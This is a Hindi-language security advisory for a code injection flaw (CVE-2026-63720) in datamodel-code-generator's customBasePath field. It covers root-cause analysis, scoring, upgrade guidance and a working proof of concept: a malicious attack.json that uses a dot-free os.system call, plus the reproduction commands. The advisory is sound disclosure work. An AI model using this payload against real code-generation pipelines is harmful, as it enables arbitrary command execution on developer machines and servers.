
अमान्य customBasePath के माध्यम से datamodel-code-generator में कोड इंजेक्शन (RCE) (CVE-2026-63720)
गंभीरता: उच्च, CVSS 3.1 7.5 / CVSS 4.0 7.5 (VulnCheck, CNA द्वारा निर्धारित)
पर्यावरणीय सीमा (नेटवर्क-सेवा तैनाती): 9.8 तक
वेक्टर (v4.0): CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
वेक्टर (v3.1): CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
प्रभावित: datamodel-code-generator < 0.70.0
इसमें ठीक हुआ: 0.70.0
CWE: CWE-94 (कोड निर्माण का अनुचित नियंत्रण, 'कोड इंजेक्शन')
रिपोर्टकर्ता: Rahul Karne
CNA: VulnCheck
प्रकाशित: 26 जुलाई, 2026
datamodel-code-generator ने कोड-इंजेक्शन पेलोड ले जाने वाली हर स्कीमा-नियंत्रित इम्पोर्ट स्ट्रिंग को मान्य किया, एक को छोड़कर।
यह टूल इनपुट स्कीमा (JSON Schema, OpenAPI, YAML) को Python मॉडल सोर्स में बदलता है। कई स्कीमा फ़ील्ड सीधे उस जनरेटेड कोड में प्रस्तुत की जाती हैं, इसलिए प्रोजेक्ट उन्हें उपयोग से पहले डॉटेड Python आइडेंटिफ़ायर के रूप में मान्य करता है, विशेष रूप से इंजेक्शन रोकने के लिए। स्कीमा एक्सटेंशन फ़ील्ड customBasePath एकमात्र ऐसा सहोदर फ़ील्ड है जो इस जाँच को छोड़ देता है। इसका मान बिना सैनिटाइज़ किए जनरेटेड आउटपुट में from ... import ... स्टेटमेंट में पहुँचता है। जो हमलावर इनपुट स्कीमा को नियंत्रित करता है, वह न्यूलाइन और डॉट-रहित एक्सप्रेशन का उपयोग करके मनमाना Python एम्बेड कर सकता है, और जनरेटेड मॉड्यूल इम्पोर्ट होते ही यह निष्पादित हो जाता है, जो मॉडल जनरेट करने के बाद का सामान्य अगला कदम है।
यह CVE-2026-55415 (GHSA-5578-w22f-pfx9) का अधूरा सुधार है, जिसने सहोदर फ़ील्ड customTypePath और x-python-import को इसी श्रेणी के हमले से सुरक्षित किया था। उस सुधार ने customBasePath को कवर नहीं किया, जो बिना मान्य किए उसी सिंक तक पहुँचता है और 0.68.1 तथा 0.70.0 तक main ब्रांच में शोषण योग्य बना रहा।
जनरेटेड मॉडल को इम्पोर्ट या चलाने वाली प्रक्रिया में मनमाना Python कोड निष्पादन: डेवलपर की मशीन, CI रनर, या कोई भी सेवा जो मॉडल जनरेट करती है और फिर लोड करती है। होस्ट की गोपनीयता, अखंडता और उपलब्धता पूरी तरह से समझौता हो जाती है, केवल उस प्रक्रिया के विशेषाधिकारों द्वारा सीमित।
गंभीरता पूरी तरह से इस बात पर निर्भर करती है कि कोडजेन अविश्वसनीय इनपुट पर कहाँ चलता है:
कौन प्रभावित है: datamodel-code-generator < 0.70.0 का कोई भी उपयोग जो (1) ऐसी स्कीमा से मॉडल जनरेट करता है जिसका customBasePath मान हमलावर-प्रभावित है, और (2) जनरेटेड मॉड्यूल को इम्पोर्ट या निष्पादित करता है। डिफ़ॉल्ट कोडजेन-फिर-इम्पोर्ट वर्कफ़्लो स्वाभाविक रूप से (2) को संतुष्ट करता है।
कौन प्रभावित नहीं है:
0.70.0 या उसके बाद के संस्करण पर, जहाँ customBasePath मान्य किया जाता है।| मीट्रिक | मान | स्रोत |
|---|---|---|
| कुल डाउनलोड | 194 मिलियन | pepy.tech/projects/datamodel-code-generator |
customBasePath स्कीमा फ़ील्ड का मान बिना किसी आइडेंटिफ़ायर बाधा के जनरेटेड कोड में पहुँचाया जाता है। कोडबेस में तीन बिंदु महत्वपूर्ण हैं (पथ src/datamodel_code_generator/ के सापेक्ष):
parser/jsonschema.py फ़ील्ड custom_base_path को alias="customBasePath" के साथ परिभाषित करता है (~लाइन 644), जिसे कई कॉल साइटों पर _resolve_base_class(...) के माध्यम से उपभोग किया जाता है।parser/base.py, _resolve_base_class (~लाइन 1665), केवल स्थानीय normalize() (डेडुप/स्ट्रिप) के बाद मान लौटाता है। कोई आइडेंटिफ़ायर मान्यकरण लागू नहीं किया जाता।imports.py, Import.from_full_path() (~लाइन 35), मान को यथावत from ... import ... पंक्ति के रूप में उत्सर्जित करता है। मान का उपयोग model/base.py set_base_class (~लाइन 1324) में क्लास बेस के रूप में भी किया जाता है और मॉडल टेम्पलेट () द्वारा कच्चा प्रस्तुत किया जाता है।चूँकि मान बिना किसी बाधा के Python सोर्स में लिखा जाता है, एम्बेडेड न्यूलाइन और डॉट-रहित एक्सप्रेशन आउटपुट में अपनी अलग-अलग पार्स-योग्य पंक्तियों के रूप में जीवित रहते हैं, और बीच की पंक्ति इम्पोर्ट पर निष्पादित होती है।
पेलोड आवश्यक रूप से डॉट-रहित है। Import.from_full_path मान को . पर विभाजित करता है, इसलिए एक सामान्य os.system(...) कॉल टूट जाएगा। getattr(__import__('os'),'system')(...) का उपयोग किसी भी . से बचते हुए समान कॉल को हल करता है, और आस-पास की न्यूलाइन उत्सर्जित from ... import ... पंक्तियों को वाक्य-रचना की दृष्टि से मान्य रखती हैं ताकि इंजेक्टेड बीच की पंक्ति साफ़-सुथरी चले।
यह ऐसा प्रोजेक्ट नहीं है जिसने इंजेक्शन की उपेक्षा की। अनुरक्षक ने कई परामर्शों (GHSA-5578, m34r, 8m8r, wjv6) में इसी श्रेणी को बार-बार सुरक्षित किया, हर बार कोड जनरेशन तक पहुँचने से पहले स्कीमा-नियंत्रित इम्पोर्ट या टाइप स्ट्रिंग को _validate_dotted_python_identifier_path के माध्यम से भेजा। सहोदर फ़ील्ड customTypePath (parser/jsonschema.py ~लाइन 4956, 5202 पर मान्य) और x-python-import (~लाइन 2096) दोनों उस वैलिडेटर से गुजरते हैं।
customBasePath एकमात्र ऐसा सहोदर है जिसमें ऐसा कोई कॉल नहीं है। यह उसी Import.from_full_path सिंक तक एक अलग पथ (_resolve_base_class) से पहुँचता है जो कभी भी उस मान्यकरण से नहीं जोड़ा गया जो अन्य फ़ील्ड को मिला। दोष इसलिए बचा रहा क्योंकि आस-पास की सुरक्षा पूर्ण दिखती थी: अनवैलिडेटेड इम्पोर्ट स्ट्रिंग की तलाश करने वाला समीक्षक पहले उन फ़ील्ड पर वैलिडेटर देखता है, और यह एक ऐसे हेल्पर से होकर गुजरता है जो इम्पोर्ट-हैंडलिंग के बजाय बेस-क्लास रिज़ॉल्यूशन जैसा दिखता है। यह एक व्यवस्थित सुधार में अंतराल है, अनुपस्थित सुधार नहीं, इसीलिए यह नवीनतम रिलीज़ में बना रहा।
एक हमलावर को चाहिए:
< 0.70.0 का उपयोग करने वाला लक्ष्य।customBasePath मान पर नियंत्रण, व्यवहार में इनपुट स्कीमा की आपूर्ति या उसे प्रभावित करके (एक तृतीय-पक्ष OpenAPI/JSON Schema दस्तावेज़, या किसी सेवा को प्रस्तुत स्कीमा)।हमलावर के लिए कोई प्रमाणीकरण या उन्नत विशेषाधिकार आवश्यक नहीं हैं (PR:N)। आधार स्कोर दर्शाता है कि पीड़ित सामान्य जनरेट-और-इम्पोर्ट क्रिया करता है (v3.1 में UI:R / v4.0 में UI:A); नेटवर्क-सेवा तैनाती उसे भी हटा देती है, और यहीं से पर्यावरणीय 9.8 आता है।
निम्नलिखित वास्तविक, अपरिवर्तित पैकेज के विरुद्ध चलाया गया। पुनरुत्पादन:
pip install "datamodel-code-generator==0.68.1"
datamodel-codegen --input attack.json --input-file-type jsonschema --output generated_models.py
python -c "import generated_models"
हमलावर का इनपुट (attack.json):
{
"type": "object",
"title": "User",
"customBasePath": "builtins import object\ngetattr(__import__('os'),'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object",
"properties": { "name": { "type": "string" } }
}
कमजोर संस्करण (0.68.1) पर जनरेटेड generated_models.py:
from __future__ import annotations
from builtins import object
getattr(__import__('os'), 'system')(
'whoami > RCE_PROOF.txt'
)
from builtins import object
class User(object):
name: str | None = None
हमलावर का कॉल यथावत जनरेटेड सोर्स में उत्सर्जित होता है।
इम्पोर्ट पर: कमांड निष्पादित होती है। सत्यापित रन में, इंजेक्टेड मार्कर stdout पर मुद्रित हुआ और RCE_PROOF.txt बनाया गया जिसमें वर्तमान उपयोगकर्ता (root) था, जो सामान्य जनरेट-और-इम्पोर्ट वर्कफ़्लो के माध्यम से मनमाने कमांड निष्पादन की पुष्टि करता है।
पैच किए गए संस्करण (0.70.0) पर: कोई भी कोड जनरेट होने से पहले वही स्कीमा अस्वीकार कर दी जाती है:
Error at schema path 'attack.json': Error: customBasePath must be a dotted
Python identifier path: "builtins import object\ngetattr(__import__('os'),
'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object"
कोई फ़ाइल निर्मित नहीं होती। अस्वीकृति संदेश सीधे सुधार का नाम बताता है: मान को अब डॉटेड Python आइडेंटिफ़ायर पथ होना आवश्यक है।
नेटवर्क-सेवा प्रकार। एक अनप्रमाणित लूपबैक HTTP सेवा जो POST की गई स्कीमा स्वीकार करती है, मॉडल जनरेट करती है, और उन्हें इम्पोर्ट करती है, को बिना किसी उपयोगकर्ता इंटरैक्शन के एकल अनप्रमाणित curl से सर्वर पर हमलावर का कमांड निष्पादित करते हुए प्रदर्शित किया गया। यह पर्यावरणीय 9.8 के पीछे की तैनाती संरचना है। सेवा और हमले की फ़ाइलें PoC रिपॉज़िटरी में शामिल हैं।
datamodel-code-generator 0.70.0 या उसके बाद के संस्करण में अपग्रेड करें:
pip install --upgrade "datamodel-code-generator>=0.70.0"
0.70.0 customBasePath को उसी डॉटेड-आइडेंटिफ़ायर मान्यकरण से गुजारता है जो पहले से customTypePath और x-python-import पर लागू है, इसलिए जो मान मान्य आइडेंटिफ़ायर पथ नहीं है उसे कोड जनरेशन से पहले अस्वीकार कर दिया जाता है।
यदि आप तुरंत अपग्रेड नहीं कर सकते: ऐसी स्कीमा से मॉडल जनरेट न करें जिन्हें आप पूरी तरह नियंत्रित नहीं करते, और अविश्वसनीय स्कीमा से जनरेटेड मॉड्यूल को इम्पोर्ट या निष्पादित न करें। प्रभावित संस्करणों में लापता मान्यकरण जोड़ने वाला कोई कॉन्फ़िगरेशन फ़्लैग नहीं है; अपग्रेड करना ही विश्वसनीय सुधार है।
जनरेटर के आंतरिक भागों का पुन: उपयोग करने वालों के लिए नोट। दोष Import.from_full_path में एक कोड पथ पर लापता मान्यकरण कॉल था, न कि सिंक में ही कोई त्रुटि। कोई भी डाउनस्ट्रीम प्रोजेक्ट जो स्कीमा-नियंत्रित स्ट्रिंग को जनरेटेड कोड में प्रस्तुत करता है, उसे ऐसे हर फ़ील्ड को डॉटेड आइडेंटिफ़ायर के रूप में मान्य करना चाहिए, न कि केवल उन्हें जो स्पष्ट इम्पोर्ट-हैंडलिंग पथ से गुजरते हैं।
VulnCheck (CNA) ने 7.5 (उच्च) निर्धारित किया, जो अनुरक्षक द्वारा मूल परामर्श CVE-2026-55415 के लिए उपयोग किए गए आधार वेक्टर से मेल खाता है, क्योंकि यह समान इंजेक्शन श्रेणी, समान Import.from_full_path सिंक, और समान प्रभाव है।
AV:N: स्कीमा आमतौर पर नेटवर्क के माध्यम से प्राप्त की जाती हैं (प्राप्त या तृतीय-पक्ष OpenAPI / JSON Schema दस्तावेज़)।AC:H: शोषण इस बात पर निर्भर करता है कि पीड़ित दुर्भावनापूर्ण स्कीमा से मॉडल जनरेट करता है और फिर जनरेटेड कोड को इम्पोर्ट या चलाता है।PR:N / UI:R (v3.1): कोई हमलावर विशेषाधिकार नहीं; पीड़ित सामान्य कोडजेन-और-इम्पोर्ट वर्कफ़्लो करता है।C:H / I:H / A:H: होस्ट पर पूर्ण मनमाना कोड निष्पादन।पर्यावरणीय सीमा 9.8 है (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) और यह विशेष रूप से नेटवर्क-सेवा तैनाती पर लागू होती है, जहाँ जनरेटर अविश्वसनीय स्कीमा के संपर्क में होता है और किसी पीड़ित इंटरैक्शन की आवश्यकता नहीं होती। वह आंकड़ा उस तैनाती के लिए एक पर्यावरणीय नोट है, निर्धारित आधार स्कोर नहीं। दोनों को बताना, और स्पष्ट रूप से बताना कि कौन सा कौन सा है, ईमानदार ढाँचा है: आधार 7.5 है, और यह केवल खुली-सेवा मामले में 9.8 तक पहुँचता है।
| दिनांक | घटना |
|---|
Rahul Karne द्वारा खोजा और रिपोर्ट किया गया, जो सुरक्षा शोधकर्ता और IEEE वरिष्ठ सदस्य हैं। उनका शोध उच्च-निर्भरता वाले ओपन-सोर्स पैकेजों में इंजेक्शन और इनपुट-हैंडलिंग त्रुटियों पर केंद्रित है, जिसमें CVE-2026-65321 (PyAthena में SQL इंजेक्शन) और इस खोज के आस-पास की मूल-श्रेणी सख्ती शामिल है।
संपर्क: [email protected] · GitHub: rahulreddykarne
545a96c5: https://github.com/koxudaxi/datamodel-code-generator/commit/545a96c5मीडिया पूछताछ: [email protected]. पूर्ण PoC (हमलावर स्कीमा, नेटवर्क-सेवा डेमो) और अतिरिक्त तकनीकी विवरण अनुरोध पर उपलब्ध।
| पिछले 30 दिनों के डाउनलोड | 16.3 मिलियन | pepy.tech |
| विशिष्ट तैनाती | डेवलपर मशीनें, CI/CD पाइपलाइन, और SDK-जनरेशन प्लेटफ़ॉर्म जो OpenAPI / JSON Schema से कोडजेन करते हैं | टूल के कार्य में निहित |
class {{ class_name }}({{ base_class }}):| 13 जुलाई, 2026 | भेद्यता की पहचान |
| 14 जुलाई, 2026 | रिपोर्ट की गई (समन्वित प्रकटीकरण) |
| 21 जुलाई, 2026 | सुधार प्रतिबद्ध (545a96c5) |
| 24 जुलाई, 2026 | पैच किया गया संस्करण 0.70.0 जारी |
| 26 जुलाई, 2026 | CVE-2026-63720 VulnCheck द्वारा प्रकाशित |